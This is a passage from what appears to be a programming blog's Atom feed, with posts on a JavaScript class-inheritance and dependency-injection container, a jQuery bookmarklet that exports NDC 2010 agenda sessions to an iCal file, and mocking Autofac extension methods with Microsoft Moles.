accepting instances and types through registerInstance(name, instance) and registerType(name, type) respectively, as well as providing a recursive builder. Using it in an extended example would look like this:&lt;br /&gt;&lt;pre class="brush: js;"&gt;&lt;br /&gt;var YetAnother = Class.extend({&lt;br /&gt;    init: function()&lt;br /&gt;    {&lt;br /&gt;        this.yetAnotherValue = "baz";&lt;br /&gt;    }&lt;br /&gt;});&lt;br /&gt;var Other = Class.extend({&lt;br /&gt;    foo: new DependencyAttribute("YetAnother"),&lt;br /&gt;    init: function() &lt;br /&gt;    {&lt;br /&gt;        this.otherValue = 42; &lt;br /&gt;    }&lt;br /&gt;});&lt;br /&gt;&lt;br /&gt;var Base = Class.extend({});&lt;br /&gt;var Derived = Base.extend({&lt;br /&gt;    bar: new DependencyAttribute("Other"),&lt;br /&gt;    init: function() {}&lt;br /&gt;});&lt;br /&gt;&lt;br /&gt;var container = new CoffeeContainer(window);&lt;br /&gt;container.registerInstance("YetAnother", new YetAnother());&lt;br /&gt;container.registerType("Other", Other);&lt;br /&gt;container.registerType("Base", Derived)&lt;br /&gt;var obj = container.getBuilder()("Base");&lt;/pre&gt;&lt;br /&gt;After running this:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;obj instanceof Derived == true&lt;br /&gt;&lt;li&gt;obj.bar instanceof Other == true&lt;br /&gt;&lt;li&gt;obj.bar.foo instanceof YetAnother == true&lt;br /&gt;&lt;li&gt;Any other object depending on YetAnother would share the instance with obj.bar&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Where to go with this&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;This is hardly a complete container - it just pulls together a few basic pieces and ideas, and seems to be doing its job for demo purposes. For production usage, I'd recommend giving it a thorough read-through, and make sure there aren't too many hidden flaws in its design.&lt;br /&gt;&lt;br /&gt;Also, supporting container scopes, lifetimes and such hasn't been considered at all in this example. If you require such: go implement it. Worth noting in that regard is that all builders will share the type repository with previously returned builders. It's simple to deal with this, but for the sake of this example; I haven't bothered.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Source code files&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Class.js - originally by John Resig, since updated and extended quite a bit&lt;/i&gt;&lt;br /&gt;&lt;pre class="brush: js;"&gt;&lt;br /&gt;(function() {&lt;br /&gt;    var initializing = false, fnTest = /xyz/.test(function(){xyz;}) ? /\b_super\b/ : /.*/;&lt;br /&gt;    this.Class = function(){};&lt;br /&gt;&lt;br /&gt;    // Returns a class, derived from Class. A derived class can be further&lt;br /&gt;    // derived by calling extend on its typename.&lt;br /&gt;    //&lt;br /&gt;    // Example:&lt;br /&gt;    //   var Derived = Class.extend({&lt;br /&gt;    //       init: function(a, b, c) { this is the constructor },&lt;br /&gt;    //       someFunc: function() { }; &lt;br /&gt;    //   });&lt;br /&gt;    //   var FurtherDerived = Class.extend({&lt;br /&gt;    //       init: function(a, b, c) { this._super(a, b, c); &amp;lt;- calls above constructor },&lt;br /&gt;    //       someFunc: function() { this._super(); &amp;lt;- calls someFunc in Derived }; &lt;br /&gt;    //   });&lt;br /&gt;    //&lt;br /&gt;    //   (new FurtherDerived(1, 2, 3) instanceof Derived) will be true&lt;br /&gt;    Class.extend = function(prop, typeName) &lt;br /&gt;    {&lt;br /&gt;        var _super = this.prototype;&lt;br /&gt;        initializing = true;&lt;br /&gt;        var prototype = new this();&lt;br /&gt;        initializing = false;&lt;br /&gt;        for (var name in prop) &lt;br /&gt;        {&lt;br /&gt;            if (typeof prop[name] === "function" &amp;&amp;&lt;br /&gt;                typeof _super[name] === "function" &amp;&amp;&lt;br /&gt;                fnTest.test(prop[name]))&lt;br /&gt;            {&lt;br /&gt;                prototype[name] = (function(name, fn) {&lt;br /&gt;                        return function() {&lt;br /&gt;                            var tmp = this._super;&lt;br /&gt;                            this._super = _super[name];&lt;br /&gt;                            var ret = fn.apply(this, arguments);&lt;br /&gt;                            this._super = tmp;&lt;br /&gt;                            return ret;&lt;br /&gt;                        };&lt;br /&gt;                    })(name, prop[name]);&lt;br /&gt;            }&lt;br /&gt;            else&lt;br /&gt;            {&lt;br /&gt;                if (typeof prop[name] == "function") prototype[name] = prop[name];&lt;br /&gt;                else if (typeof prop.__lookupGetter__ === "function" &amp;&amp;&lt;br /&gt;                         (typeof prop.__lookupGetter__(name) !== "undefined" ||&lt;br /&gt;                          typeof prop.__lookupSetter__(name) !== "undefined" ||&lt;br /&gt;                          typeof _super.__lookupGetter__(name) !== "undefined" ||&lt;br /&gt;                          typeof _super.__lookupSetter__(name) !== "undefined"))&lt;br /&gt;                {&lt;br /&gt;                    if (typeof (getter = prop.__lookupGetter__(name)) !== "undefined") prototype.__defineGetter__(name, getter);&lt;br /&gt;                    else if (typeof (getter = _super.__lookupGetter__(name)) !== "undefined") prototype.__defineGetter__(name, getter);&lt;br /&gt;                    if (typeof (setter = prop.__lookupSetter__(name)) !== "undefined") prototype.__defineSetter__(name, setter);&lt;br /&gt;                    else if (typeof (setter = _super.__lookupSetter__(name)) !== "undefined") prototype.__defineSetter__(name, setter);&lt;br /&gt;                }&lt;br /&gt;                else prototype[name] = prop[name];&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        function Class() &lt;br /&gt;        {&lt;br /&gt;            if (!initializing)&lt;br /&gt;            {&lt;br /&gt;                for (var name in this)&lt;br /&gt;                {&lt;br /&gt;                    if (this[name] instanceof ClassAttribute)&lt;br /&gt;                    { this[name] = this[name].actualize(this); }&lt;br /&gt;                }&lt;br /&gt;                if (typeof typeName !== "undefined")&lt;br /&gt;                { this.__type = typeName; }&lt;br /&gt;                else if (typeof _super.__type !== "undefined")&lt;br /&gt;                { this.__type = _super.__type; }&lt;br /&gt;                if (this.init)&lt;br /&gt;                {&lt;br /&gt;                    var args = arguments[0] instanceof ClassArgumentArray ?&lt;br /&gt;                        arguments[0].args : arguments;&lt;br /&gt;                    this.init.apply(this, args);&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        Class.prototype = prototype;&lt;br /&gt;        Class.constructor = Class;&lt;br /&gt;        Class.extend = arguments.callee;&lt;br /&gt;        return Class;&lt;br /&gt;    };&lt;br /&gt;&lt;br /&gt;    // Given a deserialized Class-derived object, which no longer yields true for&lt;br /&gt;    // (source instanceof type), Class.cast() will recreate it, based on the original&lt;br /&gt;    // type, but without calling the constructor, so that (sourceCast instanceof type)&lt;br /&gt;    // is true.&lt;br /&gt;    Class.cast = function(source, type)&lt;br /&gt;    {&lt;br /&gt;        var oldInit = type.prototype.init;&lt;br /&gt;        type.prototype.init = function() {};&lt;br /&gt;        var obj = new type();&lt;br /&gt;        type.prototype.init = oldInit;&lt;br /&gt;        for (name in type.prototype)&lt;br /&gt;        {&lt;br /&gt;            if (typeof type.prototype[name] !== "function" &amp;&amp;&lt;br /&gt;                ((typeof type.prototype.__lookupGetter__ !== "function") ||&lt;br /&gt;                 (typeof type.prototype.__lookupGetter__(name) === "undefined" &amp;&amp;&lt;br /&gt;                  typeof type.prototype.__lookupSetter__(name) === "undefined")))&lt;br /&gt;            {&lt;br /&gt;                if (typeof source[name] === "undefined") return null;&lt;br /&gt;                obj[name] = source[name];&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        return obj;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    // Does a deep clone of an object. If object down the tree has a __type member&lt;br /&gt;    // variable, its string value will be used on typesource (e.g. window) to resolve&lt;br /&gt;    // which class the member should be constructed from.&lt;br /&gt;    Class.clone = function(source, typesource)&lt;br /&gt;    {&lt;br /&gt;        if (typeof source == "undefined") return;&lt;br /&gt;        var obj = null;&lt;br /&gt;        var type = toString.call(source);&lt;br /&gt;        if (type === "[object Array]") obj = [];&lt;br /&gt;        else if (type === "[object Object]")&lt;br /&gt;        {&lt;br /&gt;            if (typeof source.__type !== "undefined" &amp;&amp;&lt;br /&gt;                typeof typesource[source.__type] !== "undefined") &lt;br /&gt;            { obj = new typesource[source.__type](); }&lt;br /&gt;            else obj = {};&lt;br /&gt;        }&lt;br /&gt;        else if (type === "[object String]" || type === "[object Number]") return source;&lt;br /&gt;        else if (type === "[object Function]") return;&lt;br /&gt;        for (var name in source)&lt;br /&gt;        {&lt;br /&gt;            var value = Class.clone(source[name], typesource);&lt;br /&gt;            if (typeof value != "undefined") obj[name] = value;&lt;br /&gt;        }&lt;br /&gt;        return obj;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    // Construction helper class, which allows you to pass arguments as an array&lt;br /&gt;    // to a Class derived constructor.&lt;br /&gt;    //&lt;br /&gt;    // Example:&lt;br /&gt;    //   var foo = Class.extend({&lt;br /&gt;    //       init: function(a, b, c) {}&lt;br /&gt;    //   });&lt;br /&gt;    //   new Foo(1, 2, 3) has the same effect as&lt;br /&gt;    //   new Foo(new ClassArgumentArray([1, 2, 3]))&lt;br /&gt;    ClassArgumentArray = Class.extend({&lt;br /&gt;        init: function(args) { this.args = args; }&lt;br /&gt;    });&lt;br /&gt;    &lt;br /&gt;    // Base class for Attributes. The attribute instances will be available in the&lt;br /&gt;    // prototype only - the value of the attributed members within a class instance&lt;br /&gt;    // will be whatever a dervied actualize returns - or null if it falls back to the&lt;br /&gt;    // base ClassAttribute&lt;br /&gt;    //&lt;br /&gt;    // Example:&lt;br /&gt;    //   var MyAttribute = ClassAttribute.extend({&lt;br /&gt;    //       actualize: function(instance)&lt;br /&gt;    //       {&lt;br /&gt;    //           return 42;&lt;br /&gt;    //       }&lt;br /&gt;    //   });&lt;br /&gt;    //   var foo = Class.extend({&lt;br /&gt;    //       someMember: new MyAttribute(),&lt;br /&gt;    //       init: function() &lt;br /&gt;    //       { &lt;br /&gt;    //           // this.someMember will be 42&lt;br /&gt;    //           // this.prototype.someMember will be an instanceof MyAttribute&lt;br /&gt;    //       }&lt;br /&gt;    //   });&lt;br /&gt;    ClassAttribute = Class.extend({&lt;br /&gt;        actualize: function(instance)&lt;br /&gt;        {&lt;br /&gt;            return null;&lt;br /&gt;        }&lt;br /&gt;    });&lt;br /&gt;})();&lt;/pre&gt;&lt;br /&gt;&lt;i&gt;CoffeeContainer.js&lt;/i&gt;&lt;br /&gt;&lt;pre class="brush: js;"&gt;&lt;br /&gt;var CoffeeContainer = Class.extend({&lt;br /&gt;    init: function(owner) &lt;br /&gt;    {&lt;br /&gt;        this.owner = owner;&lt;br /&gt;        this.types = {}&lt;br /&gt;    },&lt;br /&gt;    registerType: function(typeName, handler)&lt;br /&gt;    {&lt;br /&gt;        if (typeof this.types[typeName] !== "undefined")&lt;br /&gt;        {&lt;br /&gt;            throw "CoffeeContainer: duplicate type " + typeName;&lt;br /&gt;        }&lt;br /&gt;        if (typeof handler !== "function")&lt;br /&gt;        {&lt;br /&gt;            throw "CoffeeContainer: invalid handler";&lt;br /&gt;        }&lt;br /&gt;        this.types[typeName] = handler;&lt;br /&gt;    },&lt;br /&gt;    registerInstance: function(typeName, grinder)&lt;br /&gt;    {&lt;br /&gt;        if (typeof this.types[typeName] !== "undefined")&lt;br /&gt;        {&lt;br /&gt;            throw "CoffeeContainer Exception: duplicate type " + typeName;&lt;br /&gt;        }&lt;br /&gt;        this.types[typeName] = function() { return grinder; }&lt;br /&gt;    },&lt;br /&gt;    getBuilder: function()&lt;br /&gt;    {   &lt;br /&gt;        var factory = this;&lt;br /&gt;        var cyclicHistory = {};&lt;br /&gt;        return function(typeName)&lt;br /&gt;        {&lt;br /&gt;            try&lt;br /&gt;            {&lt;br /&gt;                if (typeof factory.types[typeName] === "undefined")&lt;br /&gt;                {&lt;br /&gt;                    throw "CoffeeContainer Exception: type " + typeName + " not found";&lt;br /&gt;                }&lt;br /&gt;                if (typeName in cyclicHistory)&lt;br /&gt;                {&lt;br /&gt;                    throw "CoffeeContainer Exception: cyclic dependency: " + typeName;&lt;br /&gt;                }&lt;br /&gt;                cyclicHistory[typeName] = 1;&lt;br /&gt;                var actualType = factory.types[typeName];&lt;br /&gt;                for (var name in actualType.prototype)&lt;br /&gt;                {&lt;br /&gt;                    if (actualType.prototype[name] instanceof DependencyAttribute)&lt;br /&gt;                    {&lt;br /&gt;                        actualType.prototype[name].value = &lt;br /&gt;                            arguments.callee(actualType.prototype[name].type);&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;                delete cyclicHistory[typeName];&lt;br /&gt;                var args = [];&lt;br /&gt;                for (var i = 1; i &amp;lt; arguments.length; ++i) args.push(arguments[i]);&lt;br /&gt;                return new actualType(new ClassArgumentArray(args));&lt;br /&gt;            }&lt;br /&gt;            catch(e)&lt;br /&gt;            {&lt;br /&gt;                cyclicHistory = {};&lt;br /&gt;                throw e;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;});&lt;br /&gt;&lt;br /&gt;var DependencyAttribute = ClassAttribute.extend({&lt;br /&gt;    init: function(type)&lt;br /&gt;    {&lt;br /&gt;        this.type = type;&lt;br /&gt;        this.value = null;&lt;br /&gt;    },&lt;br /&gt;    actualize: function()&lt;br /&gt;    {&lt;br /&gt;        var value = this.value;&lt;br /&gt;        this.value = null;&lt;br /&gt;        return value;&lt;br /&gt;    }&lt;br /&gt;});&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/dCAfIfDCzOk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/7775342454276114381/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=7775342454276114381" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/7775342454276114381?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/7775342454276114381?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/dCAfIfDCzOk/inheritance-member-attributes-and.html" title="Inheritance, member attributes and Dependency Injection in JavaScript" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>2</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/09/inheritance-member-attributes-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0QHQ349eip7ImA9Wx5XEU8.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-5395263441123588724</id><published>2010-06-15T11:40:00.020+02:00</published><updated>2010-09-10T14:22:12.062+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-10T14:22:12.062+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="JavaScript" /><category scheme="http://www.blogger.com/atom/ns#" term="ndc2010" /><category scheme="http://www.blogger.com/atom/ns#" term="jquery" /><title>NDC 2010: Bookmarklet to export full day plan as single calendar file for Outlook / Google Cal</title><content type="html">This is probably just relevant for people attending the Norwegian Developer Conference in Oslo this year .. Unless you've got some wicked obsession with iCal or JavaScript lunacy.&lt;br /&gt;&lt;br /&gt;Anyhoo: the agenda page at ndc2010.no doesn't seem to allow you to export an entire day in a single iCal file, so I decided to write a quick jQuery based bookmarklet to properly export a full day. Here's a video demonstration:&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;object id="scPlayer" width="575" height="420"&gt; &lt;param name="movie" value="http://content.screencast.com/users/einaros/folders/Jing/media/2ee45643-d985-44e8-bb6f-4c180e1b0f66/jingh264player.swf"&gt;&lt;/param&gt; &lt;param name="quality" value="high"&gt;&lt;/param&gt; &lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;/param&gt; &lt;param name="flashVars" value="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/2ee45643-d985-44e8-bb6f-4c180e1b0f66/FirstFrame.jpg&amp;containerwidth=1018&amp;containerheight=722&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/2ee45643-d985-44e8-bb6f-4c180e1b0f66/2010-06-15_1140.mp4"&gt;&lt;/param&gt; &lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt; &lt;param name="scale" value="showall"&gt;&lt;/param&gt; &lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt; &lt;param name="base" value="http://content.screencast.com/users/einaros/folders/Jing/media/2ee45643-d985-44e8-bb6f-4c180e1b0f66/"&gt;&lt;/param&gt;  &lt;embed src="http://content.screencast.com/users/einaros/folders/Jing/media/2ee45643-d985-44e8-bb6f-4c180e1b0f66/jingh264player.swf" quality="high" bgcolor="#FFFFFF" width="575" height="420" type="application/x-shockwave-flash" allowScriptAccess="always" flashVars="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/2ee45643-d985-44e8-bb6f-4c180e1b0f66/FirstFrame.jpg&amp;containerwidth=1018&amp;containerheight=722&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/2ee45643-d985-44e8-bb6f-4c180e1b0f66/2010-06-15_1140.mp4" allowFullScreen="true" base="http://content.screencast.com/users/einaros/folders/Jing/media/2ee45643-d985-44e8-bb6f-4c180e1b0f66/" scale="showall"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;br /&gt;&lt;div style="font-size: 8pt"&gt;Click the video above to watch it embedded (best in full screen), or &lt;a href="http://www.screencast.com/t/MGNiNzY4Mzg" target="_blank"&gt;Watch in new window&lt;/a&gt;&lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;In a nutshell: just go to the agenda page, log in, make sure your sessions for the target day are selected, then hit the bookmarklet to generate an aggregate iCal file. &lt;br /&gt;&lt;br /&gt;And here's the bookmarklet. Drag it to your bookmark toolbar (if that works in your browser), or right click and save it as a bookmark from the context menu.&lt;br /&gt;&lt;center&gt;&lt;iframe src="http://dl.dropbox.com/u/1878671/ndcagenda.htm" scrolling="no" frameborder="0" width="200px" height="35px"&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update:&lt;/span&gt; Worth noting for Google Calendar (and possibly others) is that it will not import "duplicate" entries. This means that if you export a day plan, delete a few entries, then try to import the file again - it will throw a big bad error. At this point you can go back to the agenda page and export a new iCal file, which will have new event timestamp. Importing this will succeed without errors.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update2 (June 15th, 3:11pm):&lt;/span&gt; Fixed a padding issue with dates when imported into Google Calendar, and replaced padding approach as a whole.&lt;br /&gt;&lt;br /&gt;If you're curious about the source code, here it is in non-minified form. Some less-than pretty constructs are used, such as while-shift rather than join for Array expansion - to save processing memory, and avoid errors caused by such.&lt;pre class="brush: js;"&gt;&lt;br /&gt;(function(){&lt;br /&gt;    function padl(s,n,c)&lt;br /&gt;    { &lt;br /&gt;        return new Array(1 + n - s.length).join(c) + s;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    function makeCalendar()&lt;br /&gt;    {&lt;br /&gt;        var str = "";&lt;br /&gt;        while(events.length &amp;gt; 0) &lt;br /&gt;        { str += (str == "" ? "" : "\r\n") + events.shift(); }&lt;br /&gt;        return "BEGIN:VCALENDAR" + "\r\n" +&lt;br /&gt;            "PRODID:-//Google Inc//Google Calendar 70.9054//EN" + "\r\n" +&lt;br /&gt;            "VERSION:2.0" + "\r\n" +&lt;br /&gt;            "CALSCALE:GREGORIAN" + "\r\n" +&lt;br /&gt;            "BEGIN:VTIMEZONE" + "\r\n" +&lt;br /&gt;            "TZID:Europe/Oslo" + "\r\n" +&lt;br /&gt;            "LAST-MODIFIED:20040526T134920Z" + "\r\n" +&lt;br /&gt;            "BEGIN:DAYLIGHT" + "\r\n" +&lt;br /&gt;            "DTSTART:20040328T010000" + "\r\n" +&lt;br /&gt;            "TZOFFSETTO:+0200" + "\r\n" +&lt;br /&gt;            "TZOFFSETFROM:+0000" + "\r\n" +&lt;br /&gt;            "TZNAME:CEST" + "\r\n" +&lt;br /&gt;            "END:DAYLIGHT" + "\r\n" +&lt;br /&gt;            "BEGIN:STANDARD" + "\r\n" +&lt;br /&gt;            "DTSTART:20041031T030000" + "\r\n" +&lt;br /&gt;            "TZOFFSETTO:+0100" + "\r\n" +&lt;br /&gt;            "TZOFFSETFROM:+0200" + "\r\n" +&lt;br /&gt;            "TZNAME:CET" + "\r\n" +&lt;br /&gt;            "END:STANDARD" + "\r\n" +&lt;br /&gt;            "END:VTIMEZONE" + "\r\n" +&lt;br /&gt;            str + "\r\n" + &lt;br /&gt;            "END:VCALENDAR";&lt;br /&gt;    };&lt;br /&gt;&lt;br /&gt;    function makeEvent(day, start, end, summary, description)&lt;br /&gt;    {&lt;br /&gt;        return "BEGIN:VEVENT" + "\r\n" +&lt;br /&gt;            "DTSTART;TZID=Europe/Oslo:201006" + day + "T" + start + "00Z" + "\r\n" +&lt;br /&gt;            "DTEND;TZID=Europe/Oslo:201006" + day + "T" + end + "00Z" + "\r\n" +&lt;br /&gt;            "DTSTAMP;TZID=Europe/Oslo:" + stamp + "\r\n" +&lt;br /&gt;            "DESCRIPTION:" + description + "\r\n" +&lt;br /&gt;            "LOCATION:Oslo Spektrum" + "\r\n" +&lt;br /&gt;            "SEQUENCE:0" + "\r\n" +&lt;br /&gt;            "STATUS:CONFIRMED" + "\r\n" +&lt;br /&gt;            "SUMMARY:" + summary + "\r\n" +&lt;br /&gt;            "TRANSP:OPAQUE" + "\r\n" +&lt;br /&gt;            "END:VEVENT";&lt;br /&gt;    };&lt;br /&gt;&lt;br /&gt;    var events = [];&lt;br /&gt;    var nowdt = new Date();&lt;br /&gt;    var stamp = nowdt.getFullYear() +&lt;br /&gt;        padl(nowdt.getMonth(), 2, "0") +  &lt;br /&gt;        padl(nowdt.getDate(), 2, "0") + "T" + &lt;br /&gt;        padl(nowdt.getHours(), 2, "0") +&lt;br /&gt;        padl(nowdt.getMinutes(), 2, "0") +&lt;br /&gt;        padl(nowdt.getSeconds(), 2, "0") + "Z";&lt;br /&gt;    $(":checked").each(function()&lt;br /&gt;    {&lt;br /&gt;        var n = $(this).parents("tbody:first").find("div[id] h2.agenda:first");&lt;br /&gt;        var roughTime = n.html();&lt;br /&gt;        n = n.parents("tbody:first");&lt;br /&gt;        var e = &lt;br /&gt;        {&lt;br /&gt;            day: 15 + parseInt($(".agenda2:first").text().replace(/.*(\d).*/, "$1")),&lt;br /&gt;            track: roughTime.replace(/.*\((.*)\)/, "$1"),&lt;br /&gt;            time: roughTime.replace(/Time:\s*(.*) \(.*/, "$1").split(" - "),&lt;br /&gt;            subject: n.find(".ingress_agenda").text(),&lt;br /&gt;            author: n.find("tr td:nth-child(2) h2:first").text()&lt;br /&gt;        };&lt;br /&gt;        events.push(makeEvent(e.day, padl(e.time[0].replace(/:/, ""), 4, "0"), padl(e.time[1].replace(/:/, ""), 4, "0"), e.track + ": " + e.subject, e.author));&lt;br /&gt;    });&lt;br /&gt;    window.location = "data:text/calendar;," + escape(makeCalendar(events));&lt;br /&gt;})()&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/LeOD4_XgktM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/5395263441123588724/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=5395263441123588724" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/5395263441123588724?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/5395263441123588724?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/LeOD4_XgktM/ndc-2010-bookmarklet-to-export-full-day.html" title="NDC 2010: Bookmarklet to export full day plan as single calendar file for Outlook / Google Cal" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/06/ndc-2010-bookmarklet-to-export-full-day.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYGR3o8eCp7ImA9WxFWGU0.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-6179512743630982350</id><published>2010-06-07T10:01:00.008+02:00</published><updated>2010-06-07T12:22:06.470+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-06-07T12:22:06.470+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Moles" /><category scheme="http://www.blogger.com/atom/ns#" term=".NET" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><title>No-fuss mocking of extension methods (and more) with Microsoft Moles</title><content type="html">The last few months I've been working off and on with a pet project of mine, a real-time collaborative text &amp; sketching app, using C# and Silverlight 4. It's TDD'd to the rim, and as such I'm not writing a line of code if it hasn't already been described by a test. &lt;br /&gt;&lt;br /&gt;That latter point brought me to a complete halt a few weeks back, when I began testing a part of my framework in charge of building property objects. To build an understanding of what I was actually doing, and how I failed, I'll briefly explain the setup.&lt;br /&gt;&lt;br /&gt;I rely on Autofac for IOC, so that's doing the actual type resolving. For Mocking I had exclusively used the brilliant Moq framework. A test for my PropertyFactory.Create&lt;T&gt;() method could therefore be something like:&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;[TestMethod]&lt;br /&gt;public void Create_ofT_uses_builder()&lt;br /&gt;{&lt;br /&gt;    var expected = new Mock&amp;lt;IDummy&amp;gt;();&lt;br /&gt;    var mockBuilder = new Mock&amp;lt;IContainer&amp;gt;();&lt;br /&gt;    mockBuilder.Setup(x =&amp;gt; x.Resolve&amp;lt;IDummy&amp;gt;()).Returns(() =&amp;gt; expected.Object);&lt;br /&gt;    var factory = new PropertyFactory(mockBuilder.Object);&lt;br /&gt;    var returned = factory.Create&amp;lt;IDummy&amp;gt;();&lt;br /&gt;    Assert.AreSame(expected.Object, returned);&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;I'd use Moq to gain control of the Resolve method, and be able to return my own dummy property object - and thus verify that the Create&lt;T&gt; method was doing what it was supposed to be doing.&lt;br /&gt;&lt;br /&gt;.. or so I thought. &lt;span style="font-weight:bold;"&gt;Test failed&lt;/span&gt;. In big, bold, red letters. What I didn't think of at that point, is that Resolve isn't actually a method brought by Autofac's IContainer; it's an extension method. Moq can't do extension methods, as they are really just glorified statics.&lt;br /&gt;&lt;br /&gt;I pondered this for quite some time. Among my options were switching to TypeMock (which would cost me major $), wrapping IContainer in a construct of my own - which would use extension methods (and that would just delay the problem) or switching IOC containers (which would work for a while, but be of no use the next time I was trying to test something with an extension method in it). As such, I was at a complete loss.&lt;br /&gt;&lt;br /&gt;Until yesterday.&lt;br /&gt;&lt;br /&gt;The Microsoft Moles project has completely eluded me until now, and I'm somewhat ashamed of that. In all its simplicity (a two minute download and install), it solved all my problems - without messing with any of my production code, forcing me to turn away from any of the other frameworks I use, or even push Moq to the sideline. I can still use Moq for most of the heavy lifting, and then just turn to Moles for the obscure stuff.&lt;br /&gt;&lt;br /&gt;Here's what my Create test looks like now:&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;[TestMethod]&lt;br /&gt;[HostType("Moles")]&lt;br /&gt;public void Create_ofT_uses_builder()&lt;br /&gt;{&lt;br /&gt;    var expected = new Mock&amp;lt;IDummy&amp;gt;();&lt;br /&gt;    Autofac.Moles.MResolutionExtensions.ResolveIComponentContext(x =&amp;gt; expected.Object);&lt;br /&gt;    var mockBuilder = new Mock&amp;lt;IContainer&amp;gt;();&lt;br /&gt;    var factory = new PropertyFactory(mockBuilder.Object);&lt;br /&gt;    var returned = factory.Create&amp;lt;IDummy&amp;gt;();&lt;br /&gt;    Assert.AreSame(expected.Object, returned);&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;Test Passed!&lt;br /&gt;&lt;br /&gt;All I had to to, apart from the single moles delegate used to return my expected dummy object, was to add a new .moles file in my test project. I called this Autofac.moles, and the content would be:&lt;br /&gt;&lt;pre class="brush: xml;"&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="utf-8" ?&amp;gt;&lt;br /&gt;&amp;lt;Moles xmlns="http://schemas.microsoft.com/moles/2010/"&amp;gt;&lt;br /&gt;  &amp;lt;Assembly Name="Autofac" /&amp;gt;&lt;br /&gt;&amp;lt;/Moles&amp;gt;&lt;/pre&gt;&lt;br /&gt;In a nutshell, the Moles framework will take the assembly referenced in the .moles file, and generate a Mole assembly for it. For all types TypeX in the referenced assembly, there will be another type MTypeX (or STypeX for interfaces) in a .Moles sub-namespace of TypeX' original namespace. As you go on to run a test using the Moles framework, any .moles-referenced type down the call tree from a method with the [HostType("Moles")] attribute will get its implementation replaced by its generated Mole twin. Thus you can mock just about anything; non-static and static alike.&lt;br /&gt;&lt;br /&gt;Brilliant.&lt;br /&gt;&lt;br /&gt;&lt;a target="_BLANK" href="http://research.microsoft.com/en-us/projects/moles/"&gt;Here's the page for Microsoft Moles&lt;/a&gt;, at Microsoft Research.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/ZGWWPWtNWws" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" 